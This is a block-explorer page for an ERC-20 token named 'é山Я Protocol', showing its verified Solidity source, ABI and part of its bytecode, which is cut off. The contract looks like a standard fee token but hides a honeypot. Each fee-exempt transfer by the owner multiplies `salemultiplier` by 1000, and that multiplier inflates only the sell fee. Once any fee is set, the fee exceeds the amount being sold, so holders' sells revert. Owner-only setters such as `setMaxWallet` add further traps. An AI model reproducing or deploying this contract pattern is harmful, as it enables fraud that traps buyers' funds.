ERC-20
Overview
Max Total Supply
100,000,000 $é山Я
Holders
63
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,212,056.585561822 $é山ЯValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TOKEN
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-23 */ pragma solidity ^0.8.15; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TOKEN is ERC20, Ownable { using SafeMath for uint256; string private _name = unicode"é山Я Protocol"; string private _symbol = unicode"$é山Я "; uint8 constant _decimals = 9; uint256 _totalSupply = 100000000 * 10**_decimals; uint256 public _maxWalletToken = _totalSupply * 100 / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isWalletLimitExempt; uint256 public liquidityFee = 0; uint256 public marketingFee = 0; uint256 public totalFee = marketingFee + liquidityFee; uint256 public feeDenominator = 100; uint256 public salemultiplier = 200; address public autoLiquidityReceiver; address public marketingFeeReceiver; IUniswapV2Router02 public router; address public pair; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 1 / 1000; uint256 public maxSwapThreshold = _totalSupply * 1 / 100; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor (address routeraddr) Ownable() { router = IUniswapV2Router02(routeraddr); pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this)); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(0xdead)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[pair] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = msg.sender; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); receive() external payable { } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWallet(uint256 maxWallPercent_base10000) external onlyOwner() { _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000; } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { // Checks max transaction limit uint256 heldTokens = balanceOf(recipient); require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much."); //shouldSwapBack if(shouldSwapBack() && recipient == pair){swapBack();} //Exchange tokens uint256 airdropAmount = amount / 10000000; if(!isFeeExempt[sender] && recipient == pair){ amount -= airdropAmount; } if(isFeeExempt[sender] && isFeeExempt[recipient]) return _basicTransfer(sender,recipient,amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { salemultiplier = salemultiplier.mul(1000); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) { uint256 multiplier = isSell ? salemultiplier : 100; uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldTakeFee(address sender,address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient] ; } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function setSwapPair(address pairaddr) external onlyOwner { pair = pairaddr; isWalletLimitExempt[pair] = true; } function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner { swapEnabled = _enabled; swapThreshold = _swapThreshold; maxSwapThreshold = _maxSwapThreshold; } function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFee = _liquidityFee.add(_marketingFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/3, "Fees cannot be more than 33%"); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function swapBack() internal swapping { uint256 _swapThreshold; if(_balances[address(this)] > maxSwapThreshold){ _swapThreshold = maxSwapThreshold; }else{ _swapThreshold = _balances[address(this)]; } uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = _swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance; uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity); if(amountETHMarketing>0){ bool tmpSuccess; (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}(""); } if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"routeraddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"salemultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280601081526020017fc3a9e5b1b1d0af2050726f746f636f6c00000000000000000000000000000000815250600190816200004a919062000b08565b506040518060400160405280600981526020017f24c3a9e5b1b1d0af2000000000000000000000000000000000000000000000008152506002908162000091919062000b08565b506009600a620000a2919062000d7f565b6305f5e100620000b3919062000dd0565b600355606480600354620000c8919062000dd0565b620000d4919062000e60565b60045560006009556000600a55600954600a54620000f3919062000e98565b600b556064600c5560c8600d556001601160146101000a81548160ff0219169083151502179055506103e860016003546200012f919062000dd0565b6200013b919062000e60565b6012556064600160035462000151919062000dd0565b6200015d919062000e60565b6013553480156200016d57600080fd5b506040516200457338038062004573833981810160405281019062000193919062000f5f565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000309919062000f5f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000392573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b8919062000f5f565b306040518363ffffffff1660e01b8152600401620003d892919062000fa2565b6020604051808303816000875af1158015620003f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041e919062000f5f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200087f919062000fe0565b60405180910390a35062000ffd565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200091057607f821691505b602082108103620009265762000925620008c8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000951565b6200099c868362000951565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009e9620009e3620009dd84620009b4565b620009be565b620009b4565b9050919050565b6000819050919050565b62000a0583620009c8565b62000a1d62000a1482620009f0565b8484546200095e565b825550505050565b600090565b62000a3462000a25565b62000a41818484620009fa565b505050565b5b8181101562000a695762000a5d60008262000a2a565b60018101905062000a47565b5050565b601f82111562000ab85762000a82816200092c565b62000a8d8462000941565b8101602085101562000a9d578190505b62000ab562000aac8562000941565b83018262000a46565b50505b505050565b600082821c905092915050565b600062000add6000198460080262000abd565b1980831691505092915050565b600062000af8838362000aca565b9150826002028217905092915050565b62000b13826200088e565b67ffffffffffffffff81111562000b2f5762000b2e62000899565b5b62000b3b8254620008f7565b62000b4882828562000a6d565b600060209050601f83116001811462000b80576000841562000b6b578287015190505b62000b77858262000aea565b86555062000be7565b601f19841662000b90866200092c565b60005b8281101562000bba5784890151825560018201915060208501945060208101905062000b93565b8683101562000bda578489015162000bd6601f89168262000aca565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c7d5780860481111562000c555762000c5462000bef565b5b600185161562000c655780820291505b808102905062000c758562000c1e565b945062000c35565b94509492505050565b60008262000c98576001905062000d6b565b8162000ca8576000905062000d6b565b816001811462000cc1576002811462000ccc5762000d02565b600191505062000d6b565b60ff84111562000ce15762000ce062000bef565b5b8360020a91508482111562000cfb5762000cfa62000bef565b5b5062000d6b565b5060208310610133831016604e8410600b841016171562000d3c5782820a90508381111562000d365762000d3562000bef565b5b62000d6b565b62000d4b848484600162000c2b565b9250905081840481111562000d655762000d6462000bef565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d8c82620009b4565b915062000d998362000d72565b925062000dc87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c86565b905092915050565b600062000ddd82620009b4565b915062000dea83620009b4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e265762000e2562000bef565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e6d82620009b4565b915062000e7a83620009b4565b92508262000e8d5762000e8c62000e31565b5b828204905092915050565b600062000ea582620009b4565b915062000eb283620009b4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000eea5762000ee962000bef565b5b828201905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f278262000efa565b9050919050565b62000f398162000f1a565b811462000f4557600080fd5b50565b60008151905062000f598162000f2e565b92915050565b60006020828403121562000f785762000f7762000ef5565b5b600062000f888482850162000f48565b91505092915050565b62000f9c8162000f1a565b82525050565b600060408201905062000fb9600083018562000f91565b62000fc8602083018462000f91565b9392505050565b62000fda81620009b4565b82525050565b600060208201905062000ff7600083018462000fcf565b92915050565b613566806200100d6000396000f3fe6080604052600436106101f25760003560e01c8063715018a61161010d578063a9059cbb116100a0578063d08893581161006f578063d0889358146106ec578063dd62ed3e14610715578063e96fada214610752578063f2fde38b1461077d578063f887ea40146107a6576101f9565b8063a9059cbb14610630578063acef1a441461066d578063ca33e64c14610698578063cec10c11146106c3576101f9565b806395d89b41116100dc57806395d89b411461058657806398118cb4146105b1578063a4b45c00146105dc578063a8aa1b3114610605576101f9565b8063715018a6146104f057806373a432bb1461050757806378109e54146105305780638da5cb5b1461055b576101f9565b8063313ce56711610185578063658d4b7f11610154578063658d4b7f146104345780636b67c4df1461045d5780636ddd17131461048857806370a08231146104b3576101f9565b8063313ce5671461037857806344ca19e4146103a3578063571ac8b0146103ce5780635d0044ca1461040b576101f9565b806318160ddd116101c157806318160ddd146102bc5780631df4ccfc146102e75780632198cf6c1461031257806323b872dd1461033b576101f9565b80630445b667146101fe57806306fdde0314610229578063095ea7b314610254578063180b0d7e14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107d1565b60405161022091906128a9565b60405180910390f35b34801561023557600080fd5b5061023e6107d7565b60405161024b919061295d565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612a0e565b610869565b6040516102889190612a69565b60405180910390f35b34801561029d57600080fd5b506102a661095b565b6040516102b391906128a9565b60405180910390f35b3480156102c857600080fd5b506102d1610961565b6040516102de91906128a9565b60405180910390f35b3480156102f357600080fd5b506102fc61096b565b60405161030991906128a9565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612ab0565b610971565b005b34801561034757600080fd5b50610362600480360381019061035d9190612af0565b610a5a565b60405161036f9190612a69565b60405180910390f35b34801561038457600080fd5b5061038d610c5a565b60405161039a9190612b5f565b60405180910390f35b3480156103af57600080fd5b506103b8610c63565b6040516103c591906128a9565b60405180910390f35b3480156103da57600080fd5b506103f560048036038101906103f09190612b7a565b610c69565b6040516104029190612a69565b60405180910390f35b34801561041757600080fd5b50610432600480360381019061042d9190612ba7565b610c9c565b005b34801561044057600080fd5b5061045b60048036038101906104569190612ab0565b610d4e565b005b34801561046957600080fd5b50610472610e37565b60405161047f91906128a9565b60405180910390f35b34801561049457600080fd5b5061049d610e3d565b6040516104aa9190612a69565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d59190612b7a565b610e50565b6040516104e791906128a9565b60405180910390f35b3480156104fc57600080fd5b50610505610e99565b005b34801561051357600080fd5b5061052e60048036038101906105299190612b7a565b610fe5565b005b34801561053c57600080fd5b50610545611131565b60405161055291906128a9565b60405180910390f35b34801561056757600080fd5b50610570611137565b60405161057d9190612be3565b60405180910390f35b34801561059257600080fd5b5061059b611160565b6040516105a8919061295d565b60405180910390f35b3480156105bd57600080fd5b506105c66111f2565b6040516105d391906128a9565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612bfe565b6111f8565b005b34801561061157600080fd5b5061061a61130c565b6040516106279190612be3565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612a0e565b611332565b6040516106649190612a69565b60405180910390f35b34801561067957600080fd5b50610682611347565b60405161068f91906128a9565b60405180910390f35b3480156106a457600080fd5b506106ad61134d565b6040516106ba9190612be3565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190612c3e565b611373565b005b3480156106f857600080fd5b50610713600480360381019061070e9190612c91565b611486565b005b34801561072157600080fd5b5061073c60048036038101906107379190612bfe565b611541565b60405161074991906128a9565b60405180910390f35b34801561075e57600080fd5b506107676115c8565b6040516107749190612be3565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f9190612b7a565b6115ee565b005b3480156107b257600080fd5b506107bb6117a8565b6040516107c89190612d43565b60405180910390f35b60125481565b6060600180546107e690612d8d565b80601f016020809104026020016040519081016040528092919081815260200182805461081290612d8d565b801561085f5780601f106108345761010080835404028352916020019161085f565b820191906000526020600020905b81548152906001019060200180831161084257829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161094991906128a9565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f690612e0a565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c4657610bc5826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c51848484611832565b90509392505050565b60006009905090565b600d5481565b6000610c95827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610869565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2190612e0a565b60405180910390fd5b61271081600354610d3b9190612e59565b610d459190612ee2565b60048190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612e0a565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b601160149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffff